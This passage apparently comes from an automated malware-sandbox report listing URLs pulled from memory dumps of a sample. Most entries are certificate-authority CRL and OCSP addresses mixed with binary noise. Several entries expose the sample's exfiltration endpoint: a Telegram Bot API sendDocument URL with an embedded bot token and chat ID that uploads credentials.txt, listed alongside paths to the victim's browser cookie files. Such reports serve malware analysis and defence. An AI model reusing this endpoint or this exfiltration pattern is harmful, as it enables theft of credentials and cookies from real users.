"http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/mail.google.comwww.mail.google.com0?=*k!\yro2;nmicrosoft" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0v7.1ctj7f$\_)$bf!cial" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "https://www.verisign.com/repository/verisignlogo.gif0d=0;090*0(https://www.verisign.com/rpa0f$\_)$bf!ki0!!salt" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0login.yahoo.com0kw(=n" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0;8kbv7.1q7z?," - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://ocsp.entrust.net0d=0;09000." - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://www.digicert.com.my/cps.htm02+0)0'!http://crl.entrust.net/2048ca.crl09yk3y!gte" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0\0" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domovlatestcrl.crl00ev" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0or" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0-login.live.comwww.login.live.com0nwk1uy1un:9*cosalt" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0login.yahoo.com0xkc9washington1redmond1microsoft" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0>ej-+\lu>gvpob\hzagxr" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszys0" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnk't" - Source: "00000000-00003916.00000001.69116.002FC000.00000004.mdmp") Found URL "https://api.telegram.org/bot/senddocument?chat_id=&caption=msxml2.serverxmlhttp.6.0/sendmessagetext=&chat_id=postopencontent-typesetrequestheadercontent-lengthsend3fbd04f5-b1ed-4060-99b9-fca7ff59c113content-disposition:" - Source: "00000000-00003916.00000001.69116.00400000.00000040.mdmp") Found URL "http://crl.godaddy.com/gdig2s1-5395.crl:\users\hapubws\appdata\local\microsoft\windows\history\history.ie5\mshist012022120220221203\\win-21-2092356043-4041700817-663127204-1001istry\user\s-1-5-21-2092356043-4041700817-663127204-1001_classesusershgnajmhdesktop-209235clsid\" - Source: "00000000-00003916.00000001.69116.007A0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003916.00000001.69116.007A0000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig2s1-5395.crl0kj7f" - Source: "00000000-00003916.00000001.69116.007A0000.00000004.mdmp") Found URL "https://api.telegram.org/bot5450700540:aaejyeev8bkgyukmncpzxp19kd9gvsrup5m/senddocument?chat_id=5422342474&caption=credentials.txt:::zvc3lsvukq\hgnajmhbot5450700540:aaejyeev8bkgyukmncpzxp19kd9gvsrup5m/senddocument?chat_id=5422342474&caption=credentials.txt:::zvc3lsvukq\hgnajmhindows\system32\sspicli.dlle5e1d522649?\c:\windows\sisatap.scl3.dcrgusers@shell32.dll,-21813hgnajmhappdataroamingmicrosoftwindowstemplatesrprofile%\appdata\roaming\microsoft\windows\cookiesgssapiml" - Source: "00000000-00003916.00000001.69116.007DF000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/s-1-5-21-2092356043-4041700817-663127204-1001&8z8zan" - Source: "00000000-00003916.00000001.69116.007DF000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig2s1-5395.crltp://crl.godaddy.com:80/gdig2s1-5395.crlhttp://crl.godaddy.com/gdroot-g2.crlta\roaming,oft\windows\templates9c113ttp://ocsp.godaddy.com:80droot-g2.crleysvccalrpcertumhawteusers@shell32.dll,-21813hgnajmhappdataroamingmicrosoftwindowstemplatesisallowedcert_autoupdate_1subcamicrosoft" - Source: "00000000-00003916.00000001.69116.007DF000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdroot.crlusers@shell32.dll,-21813hgnajmhusers@shell32.dll,-21813hgnajmhsubcamicrosoft" - Source: "00000000-00003916.00000001.69116.007DF000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/http://crl.godaddy.com/gdroot-g2.crlcsp.godaddy.comurity=impersonaticalrpc:[dhcpcsvc,security=impersonation" - Source: "00000000-00003916.00000001.69116.007DF000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003916.00000001.69116.007DF000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig2s1-5395.crl0kj7f" - Source: "00000000-00003916.00000001.69116.007DF000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0^ziq$(c\a6\4[=us1!0the" - Source: "00000000-00003916.00000001.69116.007DF000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0>^" - Source: "00000000-00003916.00000001.69116.007DF000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003916.00000001.69116.007DF000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0^ziq$(c\a6\4[=" - Source: "00000000-00003916.00000001.69116.007DF000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig2s1-5395.crl0]v0t0h0907+http://certificates.godaddy.com/repository/0j0h0$http://ocsp.godaddy.com/0@4http://certificates.godaddy.com/repository/gdig2.crt0api.telegram.orgwww.api.telegram.org06\(w0qhyfqv=(" - Source: "00000000-00003916.00000001.69116.007DF000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00003916.00000001.69116.007DF000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.mom/pki/certs/miccerlisca2011_2011-03-29.crt0>^" - Source: "00000000-00003916.00000001.69116.007DF000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/ut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003916.00000001.69116.007DF000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0^ziq$(c\a6http/1.1" - Source: "00000000-00003916.00000001.69116.007DF000.00000004.mdmp") Found URL "http://ocsp.godaddy.com//meowsdbgmeqwqjajbgurdgmcgguabbs2ca1fbgt26xpkokx4zguoujm0tgquqmk9j47mnimwojpx%2b2yz8lqsgm4ccqckyg4%2brksipg%3d%3dowsdbgmeqwqjajbgurdgmcgguabbs2ca1fbgt26xpkokx4zguoujm0tgquqmk9j47mnimwojpx%2b2yz8lqsgm4ccqckyg4%2brksipg%3d%3dgodaddy.com," - Source: "00000000-00003916.00000001.69116.00853000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/go" - Source: "00000000-00003916.00000001.69116.00853000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003916.00000001.69116.00853000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig2s1-5395.crl0kj7f" - Source: "00000000-00003916.00000001.69116.00853000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/http://crl.godaddy.com/gdroot.crlcrl.godaddy.comotrustpi.telegram.orgwww.api.telegram.orgnamiscl3.dclocal" - Source: "00000000-00003916.00000001.69116.00888000.00000004.mdmp") Found URL "http://cert(ccom/repository/1301*go" - Source: "00000000-00003916.00000001.69116.00888000.00000004.mdmp") Found URL "http://crlom/gdroot-g2.crl0f?0=0;0301%https://certs.godadxcository/0" - Source: "00000000-00003916.00000001.69116.00888000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdroot.crl0f?0=0;%https://certs.g/repository/0" - Source: "00000000-00003916.00000001.69116.00888000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003916.00000001.69116.02030000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig2s1-5395.crl0]v0t0h0907+http://certificates.godaddy.com/repository/0j0h0$http://ocsp.godaddy.com/0@4http://certificates.godaddy.com/repository/gdig2.crt0api.telegram.orgwww.api.telegram.org06\(w0qhyfqv=(" - Source: "00000000-00003916.00000001.69116.02030000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00003916.00000001.69116.02030000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/02+0)0'!http://crl.godaddy.com/gdroot.crl0f?0=0;0301%https://certs.godaddy.com/repository/0" - Source: "00000000-00003916.00000001.69116.02030000.00000004.mdmp") Found URL "http://ocsp.godaddy.com//meiwqda%2bmdwwojajbgurdgmcgguabbqdi2%2bobkuxh93foruj4a7lar4rgwquopqfbxbnklbv9r0fq94caqc%3d" - Source: "00000000-00003916.00000002.71036.002A7000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/http://crl.godaddy.com/gdig2s1-5395.crl:\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\4xd8w14a.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\z31d82mk.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\4egb3v4h.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\b038qla8.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\sz6e3ufc.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\586vp2iu.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\aykc4xf0.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\kk660gx2.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\b0gjxil8.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\q131x7o7.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\pyer2p4t.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\tk1ox1f3.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\b5zj32w3.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\ca2uokma.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\ahv4qfiv.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\ltpx41vg.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\1d3gunwo.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\h9g0iq8b.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\incdjhca.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\h8xwsv0w.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\zmzdj8xq.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\syowx991.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\fak1ewiv.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\3t7osxru.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\x43exfn4.txtctldl.windowsupdate.comocsp:http://ocsp.godaddy.com/http://crl.godaddy.com/gdig2s1-5395.crl\users\hgnajmh\appdata\roaming\microsoft\windows\templates\credentials.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\iz4ibgap.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\qgvg79k3.txt:\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\v27ou2vf.txt-99b9-fca7ff59tps://api.telegram.org/bot5450700540:aaejyeev8bkgyukmncpzxp19kd9gvsrup5m/senddocument?chat_id=5422342474&caption=credentials.txt:::zvc3lsvukq\hgnajmhhttp://ocsp.godaddy.com//meiwqda%2bmdwwojajbgurdgmcgguabbqdi2%2bobkuxh93foruj4a7lar4rgwquopqfbxbnklbv9r0fqw4gwztad94caqc%3drpc-6f2dfa59fc992017e3rpc-6f2dfa59fc992017e3etwork" - Source: "00000000-00003916.00000002.71036.002A7000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdroot.crlhttp://crl.godaddy.com/gdroot-g2.crl\users\hgnajmh\appdata\roaming\microsoft\windows\templates\users\hgnajmh\appdata\roaming\microsoft\windows\templates\users\hapubws\appdata\locallow\microsoft\cryptneturlcache\\users\hapubws\appdata\locallow\microsoft\cryptneturlcache\\users\hapubws\appdata\locallow\microsoft\cryptneturlcache\local" - Source: "00000000-00003916.00000002.71036.002A7000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/2.5.4.3go" - Source: "00000000-00003916.00000002.71036.002A7000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig2s1-5395.crl0]v0t0h0907+http://certificates.godaddy.com/repository/0j0h0$http://ocsp.godaddy.com/0@4http://certificates.godaddy.com/repository/gdig2.crt0api.telegram.orgwww.api.telegram.org06\(w0qhyfqv=(" - Source: "00000000-00003916.00000002.71036.002A7000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003916.00000002.71036.002A7000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00003916.00000002.71036.002A7000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/oftware\microsoft\windows\currentversion\internet" - Source: "00000000-00003916.00000002.71036.002FC000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig2s1-5395.crleusers@shell32.dll,-21813hgnajmhappdataroamingmicrosoftwindowstemplatesbout:blankbout:blankummy://urlpmapperpmapperpmapperpmapperpmapperpmapperpmappernsresolverhcpcsvc6igicertpmapperwshom.ocxscrrun.dllversion.dllmpr.dllcryptsp.dllmsxml3.dllmsxml6.dllmsxml3.dllmicrosoftclsid\" - Source: "00000000-00003916.00000002.71036.002FC000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/02+0)0'!http://crl.godaddy.com/gdroot.crl0f?0=0;0301%https://certs.godaddy.com/repository/0" - Source: "00000000-00003916.00000002.71036.0030F000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig2s1-5395.crl0]v0t0h0907+http://certificates.godaddy.com/repository/0j0h0$http://ocsp.godaddy.com/0@4http://certificates.godaddy.com/repository/gdig2.crt0api.telegram.orgwww.api.telegram.org06\(w0qhyfqv=(" - Source: "00000000-00003916.00000002.71036.0030F000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003916.00000002.71036.0030F000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00003916.00000002.71036.0030F000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig20907+http://certificates.godaddy.com/repository/0csp.godaddy.com/0@4http://certificates.godaddy.com/repository/gdig2.crt0api.telegram.orgwww.api.telegram.org0" - Source: "00000000-00003916.00000002.71036.0030F000.00000004.mdmp") Found URL "http://ocsp.godaddy.com//meqwqjbamd4wpdajbgurdgmcgguabbtkiinkbazxkf0qh0pel3lfhj9gpaqu0ssw0phutbfxs2hlpah%2b3ahq1omcaxvnfq%3d%3dy.com.eotrustpmapperigicert" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/le26cfb3f28bcd45d0a93667225e3dwindows" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://g.symcd.com0e0c0a60301%http://www.geotrust.com/resources/cps06/0-0+%http://g.symcb.com/geotrustpca-g3.crl0symantecpki-1-697033ti^l" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czc0?1$0" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://isrg.trustid.ocsp.identrust.com0;/http://apps.identrust.com/roots/dstrootcax3.p7c0m0k0000." - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://cps.root-x1.letsencrypt.org0<50301+http://crl.identrust.com/dstrootcax3crl.crl0ig'" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0whrbhttp/1.1" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/02+0)0'!http://crl.godaddy.com/gdroot.crl0ftiu" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-hardware0110315000000z140314235959z0384771florida1english1sea" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "https://secure.comodo.com/cps0" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com05addons.mozilla.orgwww.addons.mozilla.org0zsb)j9e/www*9ckxsalt" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0%www.google.comgoogle.com0io]l,e9n0p1+0)" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://www.public-trust.com/cps/omniroot.html0w0u1gte" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0dmxt*j]+xijom5ocota0703" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://ocsp.entrust.net03,0*0(" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0;8kbv7.11c)d[b" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0w0u1staat" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domovlatestcrl.crl0]ko)tsz'" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0\0z1staat" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domorganisatielatestcrl-g2.crl0^tl*" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/login.skype.comwww.login.skype.com0w6v*gte" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://cybertrust.omniroot.com/repository.cfm0w0u1gte" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0j)z" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-hardware0110315000000z140314235959z0384771florida1tampa1sea" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0global" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/login.yahoo.comwww.login.yahoo.com0yvr,verisign" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "https://www.verisign.com/repository/cpsthis" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "https://www.verisign.com;" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "https://www.verisign.com/repository/verisignlogo.gif0d=0;090*0(https://www.verisign.com/rpa0x7y1;8kb%2+josalt" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/mail.google.comwww.mail.google.com0?=*k!\yro2;nmicrosoft" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0v7.1ctj7f$\_)$bf!cial" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "https://www.verisign.com/repository/verisignlogo.gif0d=0;090*0(https://www.verisign.com/rpa0f$\_)$bf!ki0!!salt" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0login.yahoo.com0kw(=n" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0;8kbv7.1q7z?," - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://ocsp.entrust.net0d=0;09000." - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://www.digicert.com.my/cps.htm02+0)0'!http://crl.entrust.net/2048ca.crl09yk3y!gte" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0\0" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domovlatestcrl.crl00ev" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0or" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0-login.live.comwww.login.live.com0nwk1uy1un:9*cosalt" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0login.yahoo.com0xkc9washington1redmond1microsoft" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0>ej-+\lu>gvpob\hzagxr" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszys0" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnk't" - Source: "00000000-00003916.00000002.71036.0032B000.00000004.mdmp") Found URL "https://api.telegram.org/bot/senddocument?chat_id=&caption=msxml2.serverxmlhttp.6.0/sendmessagetext=&chat_id=postopencontent-typesetrequestheadercontent-lengthsend3fbd04f5-b1ed-4060-99b9-fca7ff59c113content-disposition:" - Source: "00000000-00003916.00000002.71036.00400000.00000040.mdmp") Found URL "https://api.telegram.org/bot5450700540:aaejyeev8bkgyukmncpzxp19kd9gvsrup5m/senddocument?chat_id=5422342474&caption=credentials.txt:::zvc3lsvukq\hgnajmhbot5450700540:aaejyeev8bkgyukmncpzxp19kd9gvsrup5m/senddocument?chat_id=5422342474&caption=credentials.txt:::zvc3lsvukq\hgnajmhindows\system32\sspicli.dlle5e1d522649?\c:\windows\sisatap.scl3.dcrgusers@shell32.dll,-21813hgnajmhappdataroamingmicrosoftwindowstemplatesrprofile%\appdata\roaming\microsoft\windows\cookiesgssapiml" - Source: "00000000-00003916.00000002.71036.007A0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/ccept-encoding:" - Source: "00000000-00003916.00000002.71036.007A0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/s-1-5-21-2092356043-4041700817-663127204-1001&8z8zan" - Source: "00000000-00003916.00000002.71036.007A0000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig2s1-5395.crl0kj7f" - Source: "00000000-00003916.00000002.71036.007A0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003916.00000002.71036.007A0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/02+0)0'!http://crl.godaddy.com/gdroot.crl0f?0=0;0301%https://certs.godaddy.com/repository/0" - Source: "00000000-00003916.00000002.71036.007A0000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig2s1-5395.crl0]v0t0h0907+http://certificates.godaddy.com/repository/0j0h0$http://ocsp.godaddy.com/0@4http://certificates.godaddy.com/repository/gdig2.crt0api.telegram.orgwww.api.telegram.org06\(w0qhyfqv=(" - Source: "00000000-00003916.00000002.71036.007A0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00003916.00000002.71036.007A0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0^ziq$(c\a6\4[=us1!0the" - Source: "00000000-00003916.00000002.71036.007A0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/http://crl.godaddy.com/gdroot-g2.crlarizonascottsdalegodaddy.com," - Source: "00000000-00003916.00000002.71036.0080D000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/go" - Source: "00000000-00003916.00000002.71036.0080D000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0>^" - Source: "00000000-00003916.00000002.71036.0080D000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003916.00000002.71036.0080D000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0^ziq$(c\a6\4[=/c:\usershgnajmh" - Source: "00000000-00003916.00000002.71036.0080D000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig2s1-5395.crl0]v0t0h0907+http://certificates.godaddy.com/repository/0j0h0$http://ocsp.godaddy.com/0@4http://certificates.godaddy.com/repository/gdig2.crt0api.telegram.orgwww.api.telegram.org06\(w0qhyfqv=(" - Source: "00000000-00003916.00000002.71036.0080D000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003916.00000002.71036.0080D000.00000004.mdmp") Found URL 